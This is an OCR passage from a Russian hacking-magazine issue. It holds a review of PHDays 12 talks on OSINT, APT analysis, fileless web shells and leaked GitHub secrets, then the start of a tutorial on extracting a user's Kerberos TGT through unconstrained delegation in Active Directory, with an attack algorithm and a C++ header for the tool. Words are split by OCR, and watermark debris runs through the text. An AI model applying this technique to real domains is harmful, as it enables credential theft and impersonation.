книги хакеры / журнал хакер / ха-291_Optimized
.pdf
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
COVERSTORY |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ВСПОМИНАЕМ ВЫСТУПЛЕНИЯ, ЗАПИСИ КОТОРЫХ СТОИТ ПОСМОТРЕТЬ
Конферен ции — это для меня в первую очередь интерес ные доклады , и PHDays 12 в этом плане не подвел . Было стойкое ощущение , что надо успеть везде , хоть это и оказалось невозможно — выступле ния с привлекатель ными темами неиз менно перекрывали друг друга по времени . Хвала организа торам : они выкладыва ют видео в публичный доступ , и теперь можно сходить на PHD, не вставая с дивана.
FearZzZz
Непрерывно двигайся. Ад пожирает праздных. AppSec, Bug Bounty, Legal Hacking. Telegram channels: @razehell, @lockpick vladfearzzzz@gmail.com
Читай также мой отчет с PHDays 12: «Как хакеры наводнили парк Горького ».
В этом году доклады были разделены и проходи ли в двух стоящих рядом шат рах. Один назывался «Зал боевых искусств» (атака ), другой — «Школа само обороны » (защита). Бурные аплодис менты слышались то тут, то там, но наибольший ажиотаж все же царил в шатре защиты. Там было не протол кнуться ! В «Зале боевых искусств», начиная с середины первого дня, толкучка была заметн о меньше , хотя доклады тут тоже шли весьма интерес ные .
Записи докладов ты можешь найти как на сайте
PHDays, так и на YouTube.
1. ГЕОПРОСТРАНСТВЕННАЯ РАЗВЕДКА НА ВАШЕМ РАБОЧЕМ СТОЛЕ
•Секция : #OFFENSE
•Спикер : Schwarz Osint, автор каналов @geoint и @schwarz_osint
•Запись доклада
Совету ю пойти и немедленно |
скачать |
вот отсюда презен таци |
ю этог о загадоч |
|||||
|
|
|
|
|
||||
ного джентльмена |
в маске и очках. Зачем? Во первых , это интерес ный |
док |
||||||
лад с необычной подачей. Во вторых , в файле есть куча ссылок и QR-коды, |
||||||||
так что жаждущим |
знаний будет чем заняться . |
» |
||||||
««На вещи надо смотреть |
шире», — Schwarz Osint |
Что особен н о понравилось |
в его выступле |
нии , так это доступность |
материала |
||||||||||||||||||||||||||
даже для совсем |
несведущих |
. Да и последова |
тель |
ность |
подачи не позволила |
||||||||||||||||||||||||
во всем этом хоть мало мальски |
запутаться . Всё на своих местах , бери |
||||||||||||||||||||||||||||
да вникай : и что такое вообще GEOINT, и на какой главный |
вопрос |
отвечает |
|||||||||||||||||||||||||||
эта дисципли |
на (спойлер : OSINT — «что?», GEOINT — «где?»), и какая |
||||||||||||||||||||||||||||
методология |
есть в арсенале |
специалис |
тов и энтузиас |
тов . Постигнув |
эту дис |
||||||||||||||||||||||||
циплину , ты, например |
, сможешь |
понять, что происхо |
ди т в точке на карте , где |
||||||||||||||||||||||||||
было сделан о фото. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
Спикер щедр о отсыпа л знаний |
про область примене |
ния GEOINT, показы |
|||||||||||||||||||||||||||
вал реальные |
кейсы и даже перечисли л популярные |
рабочие инстру мен ты , |
|||||||||||||||||||||||||||
попутн о упоминая |
их особен ности |
и область примене |
ния . |
|
|
|
|
» |
|||||||||||||||||||||
««Аналитик |
должен |
быть ленивым», — Schwarz Osint |
|
|
|
|
|
||||||||||||||||||||||
Тонкости |
работы с изображени |
ями |
(да, метаданные |
|
в 2023 году живее всех |
||||||||||||||||||||||||
живых, не поверишь), с видеоза пися |
ми (панорамиро |
вание |
), со специфи |
чес |
|||||||||||||||||||||||||
кими объекта ми (горы, тени и прочее ) и вагон иной интерес ной |
информа |
ции — все это спикер |
умести л в тридцать |
минут. Затем |
последова |
ла |
||||||||
не менее интерес ная часть ответов на вопросы |
. Они гармонич |
но дополнили |
||||||||||
сам доклад , поэтому не проходи |
мимо. |
|
|
|
|
|
|
|
||||
Если просмотр |
записи приведе |
т тебя в восторг |
, рекомендую |
продол жить |
||||||||
веселье и посмотреть |
оба |
выступле |
ния |
Андрея |
Масаловича |
, |
||||||
номера 8 и 9 в этом списке . |
|
|
|
|
|
|
|
|
|
|
2. APT-МАГИЯ В ЗОНЕ РОССИЙСКО-УКРАИНСКОГО КОНФЛИКТА
•Секция : #DEFENSE
•Спикеры : Георгий Кучерин и Леонид Безвершен ко, «Лаборатория Кас перско го»
•Запись доклада
«Обыкновен ная магия», «облачный чародей», «корм для рыб», «все переп летено»... Это не главы из новой книги о знамени том волшебни ке , а слайды к пламен ному выступле ни ю двух специалис тов «Лаборатории Каспер ско го ».
Они расска зали детективну ю ИБ истори ю с закручен ным сюжетом и неожи данным финалом (да и финалом ли?).
Как это часто бывает , все началось с целевого фишинга , при котором про исходила рассылка на первый взгляд легитимного PDF-файла . Первая при манка датирована аж 2021 годом, а основная волна заражений началась уже в следующем году. Георгий и Леонид раскры ли детали атаки , разобрали на составля ющие инсталлятор и обратили внимание слушате лей на интерес ные нюансы . Спойлерить не буду, но отмечу забавный момент про название
Powermagic (непосредс твен но вредонос ) — его придума ли злоумыш ленни ки , назвав так директорию , из которой работал зловред .
Следующий этап доклада был посвящен более сложному импланту — фреймвор ку под названи ем Commonmagic.
Анализ Powermagic и Commonmagic не прояснил один довольно важный воп рос: какая именн о APT-группиров ка стояла за атаками ? На помощь пришли коллеги из за рубежа, помогли поэтапно восполнить пробелы в информации . Эксперты Malwarebytes — одной из компаний , поделившихся своим иссле дованием , — умудрились даже некоторое время следить за атакующи ми .
««In this case, attributing the attack to a specifc country is not » an easy task», — Malwarebytes
Дальше выступа ющие расска зали про новые угрозы и их новые имена , при вели техничес кие разборы нюансов и объясни ли детали допущенных зло умышленни ками ошибок .
Под конец доклада перед зрителя ми вырисовал ся совершенно новый тай млайн атаки . Оказалось , что стоящая за ней группиров ка сохраняла активность больше пятнадца ти лет и, возможно , еще покажет себя.
Рекомен ду ю посмотреть доклад , а также можешь глянуть на перву ю часть исследова ния , опубликован ну ю в блоге Securelist.
3. ПРАЗДНИК К НАМ ПРИХОДИТ: АТАКИ НА НОВОГОДНИЕ САЙТЫ
ИСТРАНИЦЫ ПРОМОАКЦИЙ
•Секция : #OFFENSE
•Спикер : Александр Колчанов , независимый исследова тель
•Запись доклада
Этот доклад |
будет полезен в |
перву |
ю |
очередь |
руководите |
лям |
компаний |
|||||||||||||||||||||||||
и менеджерам |
, которые организу |
ют рекламные |
акции и конкурсы |
. Александр |
||||||||||||||||||||||||||||
Колчанов |
— опытный |
багхантер |
и на протяже |
нии всего повество вания |
давал |
|||||||||||||||||||||||||||
примеры |
плохих практик из личного |
опыта . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
Сайты промоак |
ций |
атаку ют чаще, чем можно себе предста вить . Нередко |
||||||||||||||||||||||||||||||
для проведе |
ния |
акций используют |
ся сторон ние |
сервисы |
, и чем их больше , |
|||||||||||||||||||||||||||
тем выше вероятность |
столкнуть |
ся с уязвимос |
тями |
и утечками |
данных . Также |
|||||||||||||||||||||||||||
нельзя забывать про репутацион |
ные |
риски при больших |
финансовых |
вло |
||||||||||||||||||||||||||||
жениях компаний |
. Плюс к этому — большая |
затрата |
ресурсов |
ИБ отдела . |
||||||||||||||||||||||||||||
На старте акции приходит |
ся поднимать |
множес тво сервисов |
, а по завер |
|||||||||||||||||||||||||||||
шении все их грамот н о гасить (аккаунты |
, серверы |
, домены, поддомены |
и про |
|||||||||||||||||||||||||||||
чее). |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Опираясь |
на |
|
свой |
опыт, Александр |
перечислил |
наиболее |
актуаль ные |
методы атак, явный лидер среди которых — перехва т домена. Немало проб лем вызывают и попытки компаний сэкономить . Все сайты зачастую заводят на одном аккаунте , даже без дополнитель ных настро ек прав доступа .
Возможны и финансовые атаки . В качестве примера был упомянут СМС флуд, способ ный высушить бюдже т акции полностью . Иногда виновата бывае т аутентифика ция : удобство входа на промосай т часто ставя т выше безопасности и здравого смысла .
Еще из интерес ного: поддель ные утечки данных (лихой замес из OSINT и жгучег о желания нанести репутацион ный риск компании ), накрутки в игро вых акциях и мошенничес тво, нарушения со стороны подрядчи ков, утечки данных сотрудни ков и многое другое .
Кстати , о подрядчи ках . С их стороны возможно множес тво сюрпри зов : закупка сомнитель ной рекламы , использование чужих аккаунтов , накрутки
ипрочее в таком духе.
Аеще Александр упомяну л очень неприят ную для всех багханте ров вещь — периоди чески возника ющее паразитиро вание компаний на самой идее багбаун ти. С обманами , хотфикса ми уязвимос тей и даже угрозами . Увы, такое тоже встречает ся.
4. G/VRP
•Секция : #FAST TRACK
•Спикер : lalka, независимый исследова тель, автор канала
@ScriptKiddieNotes
•Запись доклада
Начина ющим хантерам или тем, кто не знает , как вкатывать ся в охоту за баун ти, рекоменду ю обратить ся к мудрости Лалки . Не пугайся , что речь в докладе идет о Google. Основная мысль в том, что баги есть везде .
Что до матерых потрошите лей вебчика , то для них этот доклад просто три надцать минут хорошего настро ения. Спойлерить не буду, так как выступле ние и без того короткое . Экспрес сивная подача материала после просмотра каждому багханте ру дает +13 пойнтов к мотивации , +37 пойнтов к удаче на нахождение критов и на 101 пойн т снижае т шансы на дупли . Так что глянь доклад — и бегом искать баги прямо сейчас . Можешь даже не дочитывать статью!
5. СОБРАТЬ ДАННЫЕ РАНЬШЕ ЗЛОУМЫШЛЕННИКА
•Секция : #FAST TRACK
•Спикер : Елизаве та Рыженкова , «Бизон», автор канала @fuckwebsec
•Запись доклада
Елизаве та Рыженкова расска зала о своем опыте выуживания (краулин га, если угодно ) из недр GitHub всевоз можных токенов доступа , секретных ключей
и другой полезной информации . Также она подели лась скриптом на Python, чтобы все желающие тоже смогли получить удоволь ствие.
Из за чего вообще весь шум? Из за плохих |
практик |
программи |
рова |
ния |
||||||||||||||||||||||||||||||||||||
и банальной невниматель |
нос ти , когда в публичных |
репозитори |
ях можно най |
|||||||||||||||||||||||||||||||||||||
ти токены, пароли, лицензион |
ные |
ключи и прочие вещи, которые не должны |
||||||||||||||||||||||||||||||||||||||
протекать |
наружу. Злоумыш |
ленни |
кам |
ведь тоже ничего не стои т автомати |
|
|||||||||||||||||||||||||||||||||||
зировать |
их поиск и валидацию . Атака по своей сути простая , не требует |
|||||||||||||||||||||||||||||||||||||||
от злоумыш |
ленни |
ка получать права в системе |
, а импакт критичес |
кий . |
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||
Елизаве |
та не тольк о расска зала |
о наиболее |
популярных |
тулзах , которые |
||||||||||||||||||||||||||||||||||||
использу ют для решения таких задач, но и уточнила |
, что, помимо отдельных |
|||||||||||||||||||||||||||||||||||||||
токенов, можн о нередко встретить |
и целые файлы , щедро набитые разнооб |
|
||||||||||||||||||||||||||||||||||||||
разными кредами |
; также упомяну |
ла методы поиска информации |
по GitHub |
|||||||||||||||||||||||||||||||||||||
(дорки ), не забыв и про комплексные |
решения вроде Git Dorker; затем рас |
|||||||||||||||||||||||||||||||||||||||
сказала |
про способы |
исправления |
радиуса кривиз ны рук разработ |
чиков |
(pre- |
|||||||||||||||||||||||||||||||||||
commit hook, SAST-решения, интеграция в CI и так далее). |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||
И напоследок |
— важней шее |
напоминание |
: если секреты |
внезап но перес |
||||||||||||||||||||||||||||||||||||
тали быть секретами |
(читай: данные |
скомпро мети |
рова |
ны , компания |
взло |
|||||||||||||||||||||||||||||||||||
мана), то поможет только инвалида |
ция |
старых |
токенов и создание |
|
новых. |
|||||||||||||||||||||||||||||||||||
И самое главное |
— после этого не наступить |
на те же грабли еще раз и не |
||||||||||||||||||||||||||||||||||||||
выкладывать |
новые токены на GitHub! |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
Смотреть |
запись доклада |
нужно строго параллель |
но с презен таци |
ей , ина |
||||||||||||||||||||||||||||||||||||
че можн о упустить |
пару моментов . Либо можешь пытаться разгля деть |
слайды |
||||||||||||||||||||||||||||||||||||||
прям о в записи. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
6. КАК ЗАЩИТИТЬСЯ ОТ «БЕСТЕЛЕСНЫХ» ВЕБ-ШЕЛЛОВ
•Секция : #FAST TRACK
•Спикеры : Дании л Садырин и Андрей Сикорский , CyberOK
•Запись доклада
Стремитель |
ный |
доклад , в котором слово взял Даниил и расска зал , какие |
|||||||||||||||||||||||||||||||||||||||||||||
веб шеллы сейчас встречают |
ся в «дикой природе |
» и как с ними обращать |
ся . |
||||||||||||||||||||||||||||||||||||||||||||
Например |
, доступный |
из веба шелл в виде файла на диске легко обнаружить |
; |
||||||||||||||||||||||||||||||||||||||||||||
попытка залить шелл через уязвимость |
в веб приложе |
нии |
|
(Command |
|||||||||||||||||||||||||||||||||||||||||||
Injection, Object Injection и подобное ) может стриггерить |
WAF, а саму уяз |
||||||||||||||||||||||||||||||||||||||||||||||
вимость вскоре после обнаруже |
ния может пропат чить |
разработ |
чик . |
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||
В общем, докладчик |
прошел ся по основным нюансам , заключив |
, что впол |
|||||||||||||||||||||||||||||||||||||||||||||
не можн о прятать ся в памяти процес са веб приложе |
ния . Основные плюсы |
||||||||||||||||||||||||||||||||||||||||||||||
этог о метода: не нужен файл, можно маскировать |
|
запросы |
|
на выполнение |
|||||||||||||||||||||||||||||||||||||||||||
кода к легитимным |
скриптам . Минус: зависимость |
|
срока жизни такого бэк |
||||||||||||||||||||||||||||||||||||||||||||
дора от аварий ног о завершения |
процес са или перезагрузки |
веб сервера |
. |
|
|
|
|||||||||||||||||||||||||||||||||||||||||
Дании л отметил , что ни в одном из предыду |
щих |
исследова |
ний |
этого воп |
|||||||||||||||||||||||||||||||||||||||||||
роса нет универ саль |
ного |
подхода |
к внедрению |
бестелес |
ного |
бэкдора |
|||||||||||||||||||||||||||||||||||||||||
при минимальных правах в системе |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||
Втору ю часть доклада |
, |
посвящен |
ну ю выявлению |
бестелес |
ных |
|
сюрпри зов |
||||||||||||||||||||||||||||||||||||||||
и защите от них, взял на себя Андрей Сикорский |
. Он расска зал о решении |
||||||||||||||||||||||||||||||||||||||||||||||
под названи |
ем SOLDR (System of Orchestration, Lifecycle control, Detection |
||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||
and Response) и напомни л о такой потряса |
ющей |
штуке , как аудит. Вряд ли |
|||||||||||||||||||||||||||||||||||||||||||||
кто то стане т спорить |
|
с тем, что важно отлавливать |
в том числе и бестелес |
|
|||||||||||||||||||||||||||||||||||||||||||
ные бэкдоры |
, не дожидаясь |
|
стадии |
постэкс плу |
ата ции |
, |
которая |
далеко |
|||||||||||||||||||||||||||||||||||||||
не факт что произой |
дет сразу . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||
В перву ю очередь |
|
доклад |
будет полезен разработ |
чикам |
и админис тра |
||||||||||||||||||||||||||||||||||||||||||
торам, которые хотят знать о последних |
трендах в безопасности |
или хотя бы |
|||||||||||||||||||||||||||||||||||||||||||||
ориенти |
ровоч |
н о представ |
лять |
себе, с какими явлениями |
можно столкнуть |
ся . |
|
|
7. ЗАБЛОКИРУЙ МЕНЯ ПОЛНОСТЬЮ, ИЛИ НЕ ВСЕ VPN ОДИНАКОВО ПОЛЕЗНЫ
•Секция : #FAST TRACK
•Спикер : Констан тин Евдокимов , независимый исследова тель
•Запись доклада
Констан тин начал свое бодрое повество вание с оды Роскомнад зору за вклад в популяриза ци ю VPN в России . Затем дал общие советы по выбору VPN, упомянув фродско ринг (грубо говоря, индикатор риска ) и всеми любимый деанон (не путай с произво дите лем йогуртов ).
Этот самый деанон случает ся при так называемом VPN-фейлбэ ке : когда соединение обрывает ся на пару секунд, твои данные продол жаю т разбегать ся на все четыре стороны , даже если соединение благопо луч но восста нов лено.
Спикер дал слушате лям пару важных советов. Например : не доверяй сво ему провай деру, не доверяй РКН, шифруй сетевой канал и помни про SSLмимикрирова ние. После этого докладчик благопо лучно перешел к финальной части , в которой расска зал про методы обхода ограниче ний РКН, а под конец нагрузи л любопытных слушате лей ссылками на тематичес кое чтиво .
Доклад будет особен но интересен тем, кто по какой то причине все еще не интересо вал ся этой темой достаточ но подробно .
8. МЫ ЗНАЕМ, ЧТО ВЫ ДЕЛАЛИ ПРОШЛЫМ ЛЕТОМ: КАК УЗНАТЬ ВСЁ О ЧЕЛОВЕКЕ ПО ОТКРЫТЫМ ИСТОЧНИКАМ
•Секция : #НАУЧПОП
•Спикер : Андрей Масалович AKA КиберДед , «Инфорус », автор канала
@deedcoin_club
•Запись доклада
Враг знае т систему . Вокруг нас дебилы. Среда нулевого доверия. Интригует ? Андрей Масалович , широко известный в комьюни ти под псевдонимом
КиберДед , развле кал публику , ненавязчиво посвящая в основы OSINT: перечисли л арсена л нападающих и дал советы о том, как хотя бы минимально затруднить слежку за нашими девайсами .
Дальше пошли кейсы посложнее . Не знаю, многие ли удивят ся, но уход из социаль ных сетей и удаление аккаунта не поможет скрыться ни от зло умышленни ков, ни от предста вителей силовых структур . Равно как балаклава на голове и отсутствие в карманах гаджетов не спасу т от деанона и ответс твенности за содеянное .
Затем Масалович расска зал о бытовых гаджетах , которые становят ся умнее, чем нужно . Хорошая новость в том, что пока следить потенциаль но может тольк о самая дорогая техника , но это явление времен ное. И конечно , за нами шпионя т не только бытовые гаджеты и приборы , но и фитнес брас леты, смартфо ны, умные весы (забавный случай , кстати ) и, конечно , соцсети , что не должн о быть для тебя таким уж шоком. В общем, все, что может собирать информацию , обязатель но будет. Добро пожаловать в реальный мир!
««Мы проснулись на планете , захвачен ной роботами , которые нас сдают , еще по предваритель ному сговору в составе орга » низован ной преступной группы », — КиберДед
Разбор интерес ных кейсов , СОРМ, «Пять глаз», интерпре тация собранных данных , нейросети , ЧатГоПоТа и многое другое смешано в один мощный информацион ный коктей ль , который я тебе рекомендую продегус тировать лично .
9. А ЧТО, ТАК МОЖНО БЫЛО? 15 МАЛОИЗВЕСТНЫХ ПРИЕМОВ
OSINT
•Секция : #OFFENSE
•Спикер : Андрей Масалович AKA КиберДед , «Инфорус », автор канала
@deedcoin_club
•Запись доклада
Яне мог удержать ся и гляну л и второй доклад Масаловича . Он частично пересекает ся с первым , но в то же время дополняе т его: бытовая техника , которая за нами шпионит ; совсем новый вид шпиона жа под названи ем PlaceRaider (фотоприложе ние для 3D-шпиона жа); ChatGPT проходи т капчу , обманывая человека ; «Фейсбук » и его система подска зок, выдающая «скры
тых друзей »; геопозиция в «Твиттере » и сказоч ные персонажи , ее не отклю чающие; сервисы местополо жения вроде Glympse; ландшафтная навигация (на этом моменте доклад пересекает ся с дисципли ной GEOINT, о которой в первый день форума PHD расска зыва л Schwarz Osint); Cross-Device Tracking; акселеро метр смартфо на и многое многое другое .
««ДедЖивем на позитиве , у нас есть своя фига в кармане !» — Кибер- »
Фина л доклада — это, грубо говоря, напоминание все тех же трех важных моментов : «враг знает систему », «вокруг нас дебилы» и «среда нулевого доверия». Рекоменду ю к просмотру !
10. ТОП-10 АРТЕФАКТОВ LINUX ДЛЯ РАССЛЕДОВАНИЯ ИНЦИДЕНТОВ
•Секция : #DEFENSE
•Спикер : Лада Антипова , Angara Security, автор канала @s3Ch1n7
•Запись доклада
•Презен тация
Лада Антипова |
спокой но и без лишней |
суеты расска зала |
, как искать медь, |
|||
а находить золото, ну или что делать, если мы столкну лись |
с подозритель |
ной |
||||
активностью в живой системе |
. |
|
» |
|||
««Grep — наш лучший |
друг!» — Лада Антипова . |
Но мало любить grep всем сердцем , надо еще и выучить его синтаксис , а потом не забывать использовать этот мощней ший инстру мен т всегда и вез де.
««Когда мы смотрим любую информацию в системе , мы всегда » ищем аномалии », — Лада Антипова .
После этого Лада перешла к основной части доклада , в которой перечислила топ-10 артефак тов, которые нужно получать и изучать при рассле довании инциден тов. Лада подробно расска зала об особен ностях и нюансах каждого из них, опираясь на свой опыт.
Вопросы были тоже интерес ные: собравши еся коллеги по цеху не удер жались и поделились своими секретами мастерс тва. В общем, доклад крутой , доступный , информатив ный и слушает ся с удоволь ствием.
• «Искусс |
тво |
следопы |
та |
в корпоратив |
ной |
инфраструктуре |
: |
||||
как поведенческие |
индикато |
ры |
помогают |
в рассле дова |
нии |
инциден тов» — Анна Олейникова , Security Vision
•«Социаль ная инженерия : тенденции red team, техничес кие аспекты kill chain и проектный опыт» — Констан тин Полишин, Positive Technologies
•«Современ ные атаки на Google Chrome» — Алиса Шевченко , Zero Day Engineering (есть еще оригина л на английском )
•«Интернет картогра фия в 2023 году. Чего не может Shodan» —
Сергей Гордей чик, Александр Гурин, Игорь Первушин , CyberOK
•«Кибер разведка — это просто , и чем она отличает ся от „про-
бива“, OSINT и HUMINT» — Дмитрий Махаев , «Ростелеком Солар»
•«Кто, как и зачем атакует Linux-инфраструктуры » — Олег Скулкин , «Бизон»
•«У deception нет цели, есть только путь» — Алексей Егоров , «Бизон»
•«Фейковые утечки : слив НЕ засчитан ?» — Николай Чурсин , Positive Technologies
•«Компро метация сети через средства резервно го копиро-
вания» — Александр Коротин, «Лаборатория Каспер ского»
•«Red teaming: методики фишинговых атак» — Вадим Шелест, МТС
RED (доступна презен тация)
•«Как понять, что твоя инфраструктура взломана » — Констан тин Васильев и Олег Слепушен ко, «ИБ Реформ»
ВЫВОДЫ
На фоне довольн о прямоли нейных выступле ний особен но выделились док лады Schwarz Osint и Лалки — как за счет выбранных спикера ми образов , так и за счет подачи. С изюмом и интригой !
При подготов ке материала я заметил, что непосредс твенное присутс твие на выступле ниях и просмотр этих же докладов в записи дают ощутимо разное воспри ятие одной и той же информации . Очень жду, что организа торы опуб ликуют оставшиеся презен тации , чтобы можно было с кайфом пересмотреть все еще раз.
Всем спикерам без исключений — моя благодар ность за информацию и смелость ! Решиться на публичное выступле ние без нее непросто . Вы — мощь!
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
ВЗЛОМ |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ЭКСПЛУАТИРУЕМ
TGT DELEGATION В ACTIVE DIRECTORY
В этой статье мы рассмот рим не очень популярную , но крайне интерес ную атаку , реализовав которую атакующий сможет получить TGT-билет пользовате ля , даже не зная его пароля либо хеша. Хакеру дос
таточно лишь выполнить |
код от лица этого |
|||
пользовате |
ля |
, а все остальное |
сделает |
|
за нас KDC. |
|
|
|
_MKS_ konovalovmaks0304@mail.ru
Active Directory предос тавля е т мощный набор функций для делегирова ния прав на олицет ворение пользовате лей конкрет ной службе . Существу е т три вида делегирова ния : неограничен ное , ограничен ное и ограничен ное на основе ресурсов . Про каждый уже расска зыва лось много раз, но какие еще возможнос ти таит в себе механизм делегирова ния ?
ОСОБЕННОСТИ НЕОГРАНИЧЕННОГО ДЕЛЕГИРОВАНИЯ
При неограничен |
ном |
делегирова |
нии |
админис тра тор |
приходи |
т к службе |
||||||||||||
и говорит: «Теперь ты можешь олицет ворять |
клиентов |
на других службах ». |
||||||||||||||||
Причем |
на абсолют н о любых службах |
(отсюда и название |
— неограничен |
|
||||||||||||||
ное). Как это работает ? |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
Во первых , клиен т обращает |
ся к службе с неограничен |
ным |
делегирова |
|
||||||||||||||
нием. KDC видит, что эта служба |
имее т |
специаль |
ный |
флаг |
||||||||||||||
TRUSTED_FOR_DELEGATION (он сигнализи |
руе т о том, что у службы настро ено |
|||||||||||||||||
неограничен |
ное |
делегирова |
ние ), поэтому возвра щае т клиенту |
|
|
TGS |
на эту |
службу , но со специаль ным флагом OK-AS-DELEGATE. Следующим шагом кли ент проверя е т этот самый флаг. Если он видит, что флаг установ лен , то понимает : служба используе т неограничен ное делегирова ние , поэтому кли ент вновь идет к KDC и запрашива е т специаль ный FORWARDED TGT, который будет отправлен службе .
Внутри этог о тикета будет лежать также сессион ный ключ, что позволит службе без проблем олицет ворять клиента . Далее у клиента будет TGS-тикет на службу , а также этот FORWARDED TGT, поэтому пора идти к службе . Генерирует ся запрос AP-REQ, который содержи т этот самый FORWARDED TGT.
FORWARDED TGT в AP-REQ
Причем тикет будет находиться внутри так называемо го аутентифика тора. Он позволя ет предот вратить возможность релей атаки на этап AP-REQ, так как аутентифика тор зашифрован сессион ным ключом , а также содержи т (в случае обычног о AP-REQ) имя принципала клиента и таймстемп . Если же служба настро ена с неограничен ным делегирова нием, то в запрос AP-REQ, который отправит ся службе , попадет не только таймстемп и имя принципала , но и FORWARDED TGT. Причем этот самый FORWARDED TGT будет лежать внутри аутентифика тора. Сессион ный ключ для шифрования аутентифика тора клиен т получае т в ответе TGS-REP, который идет до AP-REQ.
Таким образом , у атакующе го появляет ся возможность расшифро вать аутентифика тор из AP-REQ, а затем получить TGT-билет пользовате ля, который иницииро вал обращение к службе с неограничен ным делегирова нием, ведь на руках у него будет зашифрован ный блоб и ключ для его дешиф ровки.
ОСОБЕННОСТИ ЭКСПЛУАТАЦИИ
Чтобы успешно получить TGT, нужно , чтобы выполнялись следующие требова ния:
•служба , к которой обращает ся клиент , настро ена на неограничен ное делегирова ние. Но здесь ничего страшного нет — все контрол леры домена настро ены с неограничен ным делегирова нием;
•у нас есть возможность выполнить код от лица клиента .
Итоговый алгоритм достаточ но простой :
1.Обраща емся к службе с неограничен ным делегирова нием.
2.Получа ем сгенери рованный AP-REQ.
3.Извле каем сессион ный ключ для расшифров ки аутентифика тора.
4.Расшифро вываем аутентифика тор.
5.Извле каем TGT.
ОБНАРУЖЕНИЕ НУЖНОЙ СЛУЖБЫ
Итак, сначала создаем файл Header.h, в котором указыва ем все нужные заголовоч ные файлы , подгру жаемые либы, а также прототип одной единс твенной функции .
#pragma once
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <DsGetDC.h>
#include <NTSecAPI.h>
#include <iostream>
#include <locale.h>
#include <wincrypt.h>
#include <WinBase.h>
#define DEBUG
#pragma comment (lib, "Secur32.lib")
#pragma comment (lib, "NetApi32.lib")
#pragma comment(lib,"Crypt32.lib")
DWORD TgtDeleg(LPCWSTR);
Теперь стои т предус мотреть два варианта работы инстру мен та : в первом случае служба с неограничен ным делегирова нием будет обнаруже на авто матичес ки (достаточ н о только имени домена), а во втором атакующий собс твенноруч н о сможе т указать нужный SPN.
Получе ние сессион ног о ключа и AP-REQ через указание домена
Ручное указание SPN
Главная функция инстру мен та не очень большая . Сначала получаем список аргумен тов , причем проверя ем : если их не три, то атакующий указал что то не то, поэтому вызываем функцию , которая расска жет , как использовать инс трумент .
